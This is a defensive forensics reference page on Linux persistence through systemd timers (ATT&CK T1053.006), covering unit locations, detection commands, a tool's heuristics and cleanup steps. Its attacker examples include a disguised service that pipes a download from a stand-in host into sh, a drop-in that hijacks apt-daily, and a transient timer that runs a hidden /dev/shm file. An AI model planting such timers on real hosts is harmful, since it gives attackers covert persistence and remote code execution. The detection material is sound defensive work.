Skip to content

On a schedule

Systemd Timers: Scheduled Linux Persistence

How attackers use systemd timers instead of cron for scheduled persistence on Linux, where timer units live, and how to list, verify and remove them.

MITRE ATT&CK
T1053.006
Tactics
Persistence, Execution, Privilege escalation
Runs
On a schedule
Set up by
Users and root
Locations
  • /etc/systemd/system/*.timer
  • /etc/systemd/system/timers.target.wants/*
  • /usr/lib/systemd/system/*.timer
  • ~/.config/systemd/user/*.timer
  • /var/lib/systemd/timers/stamp-*

How it works

A .timer unit starts another unit on a schedule: by default the .service with the same name, or the unit named in Unit=. The timer holds only the schedule; what runs, as which user and with which environment, is defined by that service (see systemd services).

Schedules come in two kinds:

  • Wall clock: OnCalendar= takes calendar expressions such as daily, Mon *-*-* 03:00 or *:0/5 (every five minutes). With Persistent=true, systemd stores the last trigger time and catches up on a missed run at boot.
  • Monotonic: OnBootSec=, OnStartupSec=, OnActiveSec=, OnUnitActiveSec= and OnUnitInactiveSec= count from boot, from manager start, or from the last activation. OnBootSec=2min plus OnUnitActiveSec=10min means "two minutes after boot, then every ten minutes".

AccuracySec= (one minute by default) and RandomizedDelaySec= blur the exact time. A timer runs only when started: systemctl enable links it into timers.target.wants/ so it starts at boot. The service it starts usually has no [Install] section and shows as static. Each run is logged in the journal under the service's name.

User managers run timers too, from ~/.config/systemd/user or /etc/systemd/user; with lingering on (loginctl enable-linger), they run without the user logged in. systemd-run --on-calendar= or --on-active= creates a transient timer and service under /run/systemd/transient: no file on disk, gone at the next reboot.

Current Debian, Ubuntu, RHEL and Fedora releases ship many timers that replace cron jobs (apt-daily, logrotate, man-db, fstrim, dnf-makecache), so a timer list is never empty. Compare against a clean host of the same release.

Where it lives

PathWhatWho can write it
/etc/systemd/system/*.timerAdmin timersroot
/etc/systemd/system/timers.target.wants/Links of enabled system timersroot
/usr/lib/systemd/system/*.timer, /lib/systemd/system/*.timerPackage timersroot (package manager)
/usr/local/lib/systemd/system/*.timerLocally installed timersroot
/run/systemd/transient/Timers from systemd-run, lost at rebootroot
/etc/systemd/user/, /usr/lib/systemd/user/User timers for every accountroot
~/.config/systemd/user/*.timer and its timers.target.wants/One user's timersthe user
/var/lib/systemd/timers/stamp-*.timerLast trigger of Persistent= system timerssystemd
~/.local/share/systemd/timers/stamp-*.timerSame for user timersthe user's manager

How attackers use it

A timer and service pair

The usual form: a name that looks like vendor maintenance, a short monotonic interval, and a oneshot service that fetches and runs a script.

# /etc/systemd/system/fwupd-refresh-helper.timer
[Unit]
Description=Refresh fwupd metadata helper

[Timer]
OnBootSec=2min
OnUnitActiveSec=10min

[Install]
WantedBy=timers.target
# /etc/systemd/system/fwupd-refresh-helper.service
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'curl -fsS https://example.com/u.sh | sh'

In systemctl list-timers it sits among a dozen legitimate timers. Unlike cron, no single file shows both the schedule and the command.

Hijacking an existing timer

The timer stays untouched; a drop-in on the service it starts adds a command that runs as root on the vendor's schedule. A drop-in on the timer itself can also point Unit= at another service.

# /etc/systemd/system/apt-daily.service.d/override.conf
[Service]
ExecStartPost=/usr/local/sbin/.apt-hook

User timers

Any account can do the same in its own folder, and keep it running without a session:

systemctl --user enable --now sync.timer
loginctl enable-linger "$USER"

Transient timers

A repeating job with no unit file anywhere on disk, until the next reboot. It is the systemd counterpart of at jobs:

systemd-run --on-calendar='*:0/15' --unit=journal-flush /bin/sh -c '/dev/shm/.j'

How to check a host

On a live host

systemctl list-timers --all                     # NEXT, LAST, UNIT and the unit it ACTIVATES
systemctl list-unit-files --type=timer
systemctl cat fwupd-refresh-helper.timer fwupd-refresh-helper.service
systemd-analyze calendar '*:0/15'               # what an OnCalendar expression means
ls -la /run/systemd/transient/                  # timers created by systemd-run
ls -la --time-style=full-iso /var/lib/systemd/timers/
sudo systemctl --user -M alice@ list-timers --all   # one user's timers, systemd 248+
journalctl -u fwupd-refresh-helper.service --since -7d

For each timer, read the unit it activates and every drop-in of both (systemctl cat prints them with their paths). Check that a package owns the timer, the service and the program: dpkg -S and dpkg -V on Debian, rpm -qf and rpm -Vf on RHEL. systemd-delta --type=extended lists every unit with a drop-in.

Offline or from a collection

List every *.timer file and the timers.target.wants/ links in /etc/systemd/system, /usr/lib/systemd/system and each home's .config/systemd/user. A link's mtime is roughly when the timer was enabled; a stamp file's mtime in /var/lib/systemd/timers is when a persistent timer last fired. Pair each timer with its service (Unit= or the same name) and read both, drop-ins included. Run journalctl -D /mnt/image/var/log/journal -u <service> to see every run.

Linux Persistence reads timers and their services offline from the collection command.

What Linux Persistence flags

Every .timer file in the system and user unit folders is one entry. It shows the schedule as written (OnCalendar, OnBootSec, OnStartupSec, OnActiveSec, OnUnitActiveSec, OnUnitInactiveSec), the unit it starts and its WantedBy. The entry is marked enabled, disabled or masked from the timers.target.wants links and /dev/null masks in the collection, with the link's time as the enable time.

The timer entry carries no command heuristics, because the command lives in the service. That service is its own entry, flagged by Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Runs from a temporary folder, Runs from a hidden folder and the other command heuristics, and by Drop-in changes what a unit runs when a drop-in adds an Exec* line. Read the two entries together. A service started only by a timer usually shows as disabled, which is expected.

On the timer file itself, the package layer applies: Not installed by any package (medium in /usr/lib or /lib, low in /etc/systemd/system) and Differs from package package when a packaged timer was edited. Changed date marks timers modified in the 7 days before the newest file in the collection. User services start at boot (linger) turns medium when the lingering user also has timers.

Limits: there is no frequency check on timer schedules, unlike the cron every-minute flag. A timer drop-in that only changes the schedule or Unit= is not listed. Transient timers under /run and stamp files are not read, and the tool cannot tell whether a timer is running now.

Cleaning up

  1. Preserve first: cp -a the timer, its service, both drop-in folders, the links and the stamp file; save systemctl show for both units and journalctl -u <service> -o export; hash the files.
  2. systemctl disable --now <name>.timer, then systemctl stop <name>.service. Delete the files and run systemctl daemon-reload. For a hijacked vendor timer, delete only the drop-in. A transient timer disappears with systemctl stop <name>.timer.
  3. For user timers: systemctl --user -M alice@ disable --now <name>.timer, delete the files, loginctl disable-linger alice.
  4. Look for the same program in crontabs, at jobs and other units, and check generators that could rewrite the timer at boot.
  5. Rotate the credentials of the account the service ran as; a root service means a root compromise.

References

See also

On Linux Forensics

The artifacts behind this technique, in the Linux Forensics reference: